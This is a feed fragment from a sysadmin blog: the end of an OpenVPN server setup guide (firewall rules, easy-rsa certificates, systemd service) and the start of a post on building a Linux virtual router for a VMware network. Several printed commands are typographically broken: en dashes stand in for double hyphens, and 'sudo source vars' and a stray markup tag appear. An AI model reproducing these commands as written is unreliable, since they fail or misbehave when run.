&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*filter
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;…&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A INPUT -i eth0 -p udp -m udp –dport &lt;span style=&#34;color:#ae81ff&#34;&gt;1194&lt;/span&gt; -j ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A INPUT -i eth0 -j DROP
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;…&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save and close the file (&lt;code&gt;CTRL+X&lt;/code&gt;) and refresh the rules in the system:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo iptables-restore &amp;lt; /etc/iptables.rules
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;b) Simple setup – UFW; applicable if you’re setting up OpenVPN server on a new system&lt;/p&gt;
&lt;p&gt;Install &lt;code&gt;ufw&lt;/code&gt; package (simple firewall manager):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install ufw
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open the required ports by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ufw allow 1194/udp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, apply the changes to the firewall by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ufw disable
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ufw enable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;34-server--client-rsa-certificates&#34;&gt;3.4. Server &amp;amp; client RSA certificates&lt;/h4&gt;
&lt;h4 id=&#34;341-setting-up-ca-directory--basic-variables&#34;&gt;3.4.1 Setting up CA directory &amp;amp; basic variables&lt;/h4&gt;
&lt;p&gt;As OpenVPN is an TLS/SSL VPN, we need to setup an encryption for our traffic.&lt;/p&gt;
&lt;p&gt;To begin, we can copy the easy-rsa template directory into our &lt;code&gt;/home&lt;/code&gt; and move into it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo make-cadir ~/openvpn-ca
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd ~/openvpn-ca
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now it’s time to configure the CA (Certificate Authority) variables. Easy-RSA will use those values for identifying our server. We can set them in &lt;code&gt;~/openvpn-ca/vars&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano vars
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We need to edit only the most basic variables for our OpenVPN server to work:&lt;br&gt;
&lt;code&gt;export KEY_COUNTRY=”US”&lt;/code&gt;
Change &lt;code&gt;US&lt;/code&gt; to your country ID (i.e. PL, IE, DE)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export KEY_PROVINCE=”CA”&lt;/code&gt;&lt;br&gt;
Change &lt;code&gt;CA&lt;/code&gt; to your province (ND, SD, NY, WLKP etc.)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export KEY_CITY=”SanFrancisco”&lt;/code&gt;&lt;br&gt;
Change &lt;code&gt;SanFrancisco&lt;/code&gt; to your city&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export KEY_ORG=”Fort-Funston”&lt;/code&gt;&lt;br&gt;
Change &lt;code&gt;Fort-Funston&lt;/code&gt; to your company/organization&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export KEY_EMAIL=”me@host.mydomain”&lt;/code&gt;&lt;br&gt;
Change &lt;code&gt;me@host.mydomain&lt;/code&gt; to your email address (optional; mostly needed while getting a Global SSL certificate from CA authorities such as LetsEncrypt, GoDaddy etc.)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export KEY_OU=”MyOrganizationUnit”&lt;/code&gt;
Change &lt;code&gt;MyOrganizationUnit&lt;/code&gt; to your department (i.e. IT, Accounts)&lt;/p&gt;
&lt;p&gt;Remember you need to fill every single one of the values above. Do not leave them blank under any circumstances. Once finished, press &lt;code&gt;CTRL+X&lt;/code&gt; to save changes and close the editor.&lt;/p&gt;
&lt;h4 id=&#34;342-building-the-ca&#34;&gt;3.4.2 Building the CA&lt;/h4&gt;
&lt;p&gt;Run the following command to source the &lt;code&gt;vars&lt;/code&gt; file you just edited:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo source vars
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You should see the following if it was sourced correctly:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Output
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;…&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;/openvpn-ca/keys
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At this point we want to make sure we’re operating in a clean system, so let’s run:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ./clean-all
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, we can build our root CA by typing:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ./build-ca&amp;lt;/span&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since we already filled in all required info in the &lt;code&gt;vars&lt;/code&gt; file, you can safely press ENTER through the prompts to confirm default selections.&lt;/p&gt;
&lt;h4 id=&#34;343-creating-server-certificate--encryption-files&#34;&gt;3.4.3 Creating Server certificate &amp;amp; encryption files&lt;/h4&gt;
&lt;p&gt;Now we are going to generate all the certificates and encryption files needed for securing OpenVPN connections between our server &amp;amp; the client machines.&lt;/p&gt;
&lt;p&gt;Start by generating the OpenVPN server certificate and key pair by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ./build-key-server server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can safely press ENTER on all prompts as we filled the &lt;code&gt;vars&lt;/code&gt; file before.&lt;/p&gt;
&lt;p&gt;There are going to be two additional questions (regarding challenge passwords) at the end of this process. We are not going to go through them in this guide, so leave them blank for now by pressing ENTER twice.&lt;/p&gt;
&lt;p&gt;Next, we are going to generate Diffie-Hellman keys (used during key exchange), by typing:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ./build-dh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Afterwards, we are going to generate an HMAC signature to strengthen the server’s TLS integrity verification capabilities:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;openvpn –genkey –secret keys/ta.key
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;344-client-certificate--key-pair&#34;&gt;3.4.4 Client Certificate &amp;amp; key pair&lt;/h4&gt;
&lt;p&gt;For the sake of simplicity, we are going to generate the client certificate on the server side, however it is possible to the same on client’s machine and then sign it. We are going to generate a single certificate/key pair, but if your setup includes more than one client, feel free to repeat the steps below as many times as needed (remember to replace &lt;!-- raw HTML omitted --&gt;client1 &lt;!-- raw HTML omitted --&gt;with a different name for each cert).&lt;/p&gt;
&lt;p&gt;If you don’t want the client to use additional password, use the &lt;code&gt;build-key&lt;/code&gt; command in the next step. Otherwise, replace it with &lt;code&gt;build-key-pass&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd ~/openvpn-ca
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;source vars
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ./build-key client1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Press ENTER for every question. Remember to leave challenge passwords blank.&lt;/p&gt;
&lt;h4 id=&#34;35-finishing-up-the-configuration&#34;&gt;3.5 Finishing up the configuration&lt;/h4&gt;
&lt;p&gt;To finish up the setup, copy all the files we created in the previous step to &lt;code&gt;/etc/openvpn&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd ~/openvpn-ca/keys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo cp ca.crt ca.key server.crt server.key ta.key dh2048.pem /etc/openvpn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can start the OpenVPN service by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl start openvpn@server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, make sure the OpenVPN service starts at boot:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl enable openvpn@server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;v-end-notes&#34;&gt;V. End Notes&lt;/h2&gt;
&lt;p&gt;End notes have been moved to &lt;a href=&#34;https://ssh.guru/posts/180501-openvpn-server-part-2/&#34;&gt;Part 2&lt;/a&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Virtual Router Setup</title>
      <link>/posts/180301-linux-virtual-router/</link>
      <pubDate>Thu, 01 Mar 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180301-linux-virtual-router/</guid>
      <description>Essential network components are sometimes the hardest to configure without knowing the basics. When I first started working on a virtual environment, I didn’t even know I had to setup networking! It took me weeks to understand fully how all the VMware “parts” speak to each other. The vKernels, vSwitches, vLANs versus VLANs… yeah, that’s a story for another time.
For now, let’s talk about the basics. In this post I’ll quickly walk you through the process of setting up a virtual router (vRouter) – a Linux VM responsible for most of your internal virtual networking.</description>
      <content>&lt;p&gt;Essential network components are sometimes the hardest to configure without knowing the basics. When I first started working on a virtual environment, I didn’t even know I had to setup networking! It took me weeks to understand fully how all the VMware “parts” speak to each other. The vKernels, vSwitches, vLANs versus VLANs… yeah, that’s a story for another time.&lt;/p&gt;
&lt;p&gt;For now, let’s talk about the basics. In this post I’ll quickly walk you through the process of setting up a virtual router (vRouter) – a Linux VM responsible for most of your internal virtual networking. Once we have that up and going, we can continue our journey through the exciting world of virtual networking inside both VMware vSphere and Hyper-V.&lt;/p&gt;
&lt;h2 id=&#34;i-intro--why-virtual-router&#34;&gt;I. Intro – Why virtual router?&lt;/h2&gt;
&lt;p&gt;One the first challenges I had to face while setting up my first virtual infrastructure was figuring out how to do networking. The diagram below shows how the physical side of things looked like* back then.&lt;/p&gt;
&lt;p&gt;Networks, service names, types and other details about this setup were changed due to internal security policy within the company.&lt;/p&gt;
&lt;p&gt;Internal LAN &amp;amp; WAN (172.18.18.0/24 &amp;amp; 10.0.1.0/24) for the VI were supplied by the DC staff and separated from the parent networks with VLAN tagging and dedicated ports on their switches:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180301-linux-virtual-router/network_before_vrouter.png#center&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the groundwork was quite good, however once you reached the ESXi hosts (and vSphere), you were stuck with one public and one private network provided by the parent DC. This setup quickly became too simple for the following reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 public IP addresses for 10+ public services – as soon as the 1:1 service to IP ratio was exceeded, routing (at least port forwarding) became essential;&lt;/li&gt;
&lt;li&gt;Security – the default private &amp;amp; public networks supplied by the DC had no firewall configured at all, meaning anyone from anywhere could try to get access to our VMs. On top of that, some services we were running inside the virtual environment required multiple independent (but route-able) networks;&lt;/li&gt;
&lt;li&gt;Testing, VPNs etc. – as the infrastructure main purpose was backing up remote client networks, there was a need of a test site or test environment where recovered machines could be tested and troubleshoot before going back to production. This required additional supporting services such as DNS, VPN and so on to be included into our VI.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Knowing an usual infrastructure admin, you’re probably thinking now “Why the f*** didn’t you just get a physical router, switches and so on?”. I’m glad you asked, because that’s something a sane person would do. Frankly, I hate my life too much to go for an easy option.&lt;/p&gt;
&lt;p&gt;On a more serious note, there was no time nor resources to upgrade the infrastructure with additional equipment. While funding wasn’t an unsolvable problem, I was frankly running out of time. Getting approval for additional hardware purchase, renegotiating contract with the DC (additional rack space) &amp;amp; waiting for the new stuff to come in simply wasn’t an option at this stage. I had to set this whole thing up fast.&lt;/p&gt;
&lt;p&gt;That’s where a virtual router comes in.&lt;/p&gt;
&lt;h2 id=&#34;ii-setting-up-virtual-router&#34;&gt;II. Setting up virtual router&lt;/h2&gt;
&lt;h3 id=&#34;11-choosing-the-os--why-linux&#34;&gt;1.1. Choosing the OS – Why Linux?&lt;/h3&gt;
&lt;p&gt;Where do I begin…&lt;/p&gt;
&lt;p&gt;Firstly, the costs. As described above, the cost of getting dedicated devices wasn’t a problem, so why would I worry about licensing costs? Surely I could get something more robust than a simple Linux distro for a fraction of full-fledged firewall/router price? The answer is…&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180301-linux-virtual-router/nope.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;First, setting up a virtual router on Windows doesn’t make sense. There are obviously pre-made, ready for use programs which do the job for you (no need to worry about all the internal stuff), however if you think about it for a second, is Windows really something you’d like to set as the main point of security in your network? Again…&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180301-linux-virtual-router/no.gif&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Second option would be getting something pre-made by a renowned company like Cisco or Juniper. At first it seems like a reasonable thing to do, but if you ever dealt with getting a license for Cisco/Juniper virtual appliance you probably know that it would be faster to order one of their physical devices instead… which, as mentioned earlier, I didn’t have time for.&lt;/p&gt;
&lt;p&gt;I hope you’re not thinking at this stage about OSX or openBSD because I don’t have any more “No/Nope” images handy.&lt;/p&gt;
&lt;h3 id=&#34;12-choosing-the-os--distributions&#34;&gt;1.2. Choosing the OS – Distributions&lt;/h3&gt;
&lt;p&gt;Now as we got that off our minds, let’s focus on choosing a distribution for our Linux box.&lt;/p&gt;
&lt;p&gt;There are multiple options (and probably as many opinions) which distro to chose, however as I don’t really want the comment section to eventually turn into a battlefield between RedHat, Debian and Arch fanboys, let’s group potential candidate distros:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redhat/Fedora – obvious choice for most of Linux admins, however please do keep in mind Redhat is a licensed (non-free) distribution, while Fedora might a bit too “cutting edge” for a router (untested features, potential backdoors etc.);&lt;/li&gt;
&lt;li&gt;Debian/Ubuntu – personal favorite for its stability (one of best on the market) and price (free, obviously). Ubuntu is a good pick as well, however I don’t see a point in choosing it over Debian for server/service role;&lt;/li&gt;
&lt;li&gt;Arch – probably a better choice than Debian for experienced Linux admins, however setup time may be longer without a pre-made script or vanilla OVF template;&lt;/li&gt;
&lt;li&gt;Other – please keep in mind the guide below might not be compatible with your distro of choice.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;21-initial-setup--osvm-requirements&#34;&gt;2.1. Initial setup – OS/VM requirements&lt;/h3&gt;
&lt;p&gt;Let’s quickly run through what a VM acting as a router for our network should have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disk: distribution minimum should suffice, however you might want to add something on top of that for /swap and extra features in the future. I recommend 16GB in total (4GB /swap);&lt;/li&gt;
&lt;li&gt;RAM: in the setup shown on the diagram at the begging of this post, my initial vRouter had about 2GB of RAM memory. This turned out to be enough for a couple of months. If your infrastructure can handle it, I recommend going for 4GB+ straight away. Remember to add extra RAM if your setup includes a desktop environment (Gnome, KDE etc.);&lt;/li&gt;
&lt;li&gt;CPU: one vCPU core should do the job if you don’t restrict its share too much;&lt;/li&gt;
&lt;li&gt;NICs: at least two required; one connected to LAN-vDS, the other to WAN-vDS. In my setup, I decided to add three to the VM – the additional NIC was connected to a brand new VM-LAN network through LAN-vDS.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I won’t be going through the process on installing a Linux operating system on a VM in this post. If I ever decide to write a post describing this process, it would be linked &lt;a href=&#34;https://tutorialforlinux.com/2017/01/21/how-to-install-debian-9-stretch-on-a-vmware-workstation-virtual-machine/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;22-initial-setup--planning&#34;&gt;2.2. Initial setup – Planning&lt;/h3&gt;
&lt;p&gt;Here’s how I planned new network setup after vRouter rollout:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180301-linux-virtual-router/network_after_vrouter.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;You might need to have your virtual network(s) setup differently, but I highly recommend to at least write everything down before continuing.&lt;/p&gt;
&lt;p&gt;In the setup above, the vRouter is connected to three networks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.1.0/24 WAN – interfaces eth0, eth0:1, eth0:2 (three sub-interfaces; more in part II/2/c) - DC Router WAN interface: 10.0.1.1/24&lt;/li&gt;
&lt;li&gt;eth0 10.0.1.10/24,&lt;/li&gt;
&lt;li&gt;eth0:1 10.0.1.20/24,&lt;/li&gt;
&lt;li&gt;eth0:2 10.0.1.30/24;&lt;/li&gt;
&lt;li&gt;172.18.18.0/24 LAN – interface eth2 - DC Router LAN interface: 172.18.18.1/24&lt;/li&gt;
&lt;li&gt;eth2 172.18.18.2/24&lt;/li&gt;
&lt;li&gt;172.18.100.0/24 VM-LAN – interface eth1: - eth1: 172.18.100.1/24;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interface setup on ESXi hosts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ESXi Host1 - Uplink11 &amp;amp; Uplink12: - LAN port group with an IP address: 172.18.18.101/24 (LAN-vDS)&lt;/li&gt;
&lt;li&gt;VM-LAN port group with an IP address: 172.18.100.101/24 (LAN-vDS)&lt;/li&gt;
&lt;li&gt;Uplink13 &amp;amp; Uplink14: WAN port group without IP address assigned (WAN-vDS)&lt;/li&gt;
&lt;li&gt;ESXi Host 2 - Uplink21 &amp;amp; Uplink22: - LAN port group with an IP address: 172.18.18.102/24 (LAN-vDS)&lt;/li&gt;
&lt;li&gt;VM-LAN port group with an IP address: 172.18.100.102/24 (LAN-vDS)&lt;/li&gt;
&lt;li&gt;Uplink23 &amp;amp; Uplink24: WAN port group without IP address assigned (WAN-vDS)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;23-initial-setup--linux-interface-setup-within-os&#34;&gt;2.3. Initial setup – Linux interface setup (within OS)&lt;/h3&gt;
&lt;p&gt;Now with everything properly laid-out, we can start setting up our vRouter.&lt;/p&gt;
&lt;p&gt;First thing that needs to be done is setting up the interfaces according to the planned networking. Let’s get to it by opening &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt; (or appropriate file in your distro) with root privileges by running the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano /etc/network/interfaces
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let’s configure the WAN facing interface eth0. Paste the following into the config file and adjust the IPs according to your setup&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#The main external WAN interface (eth0)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allow-hotplug eth0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iface eth0 inet static
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address 10.0.1.10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netmask 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network 10.0.1.0 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gateway 10.0.1.1 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;broadcast 10.0.1.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#eth0:1 sub-interface for public IP no. 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allow-hotplug eth0:1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iface eth0:1 inet static
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address 10.0.1.20
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netmask 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network 10.0.1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gateway 10.0.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;broadcast 10.0.1.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#eth0:2 sub-interface for public IP no. 3&lt;/span&gt;
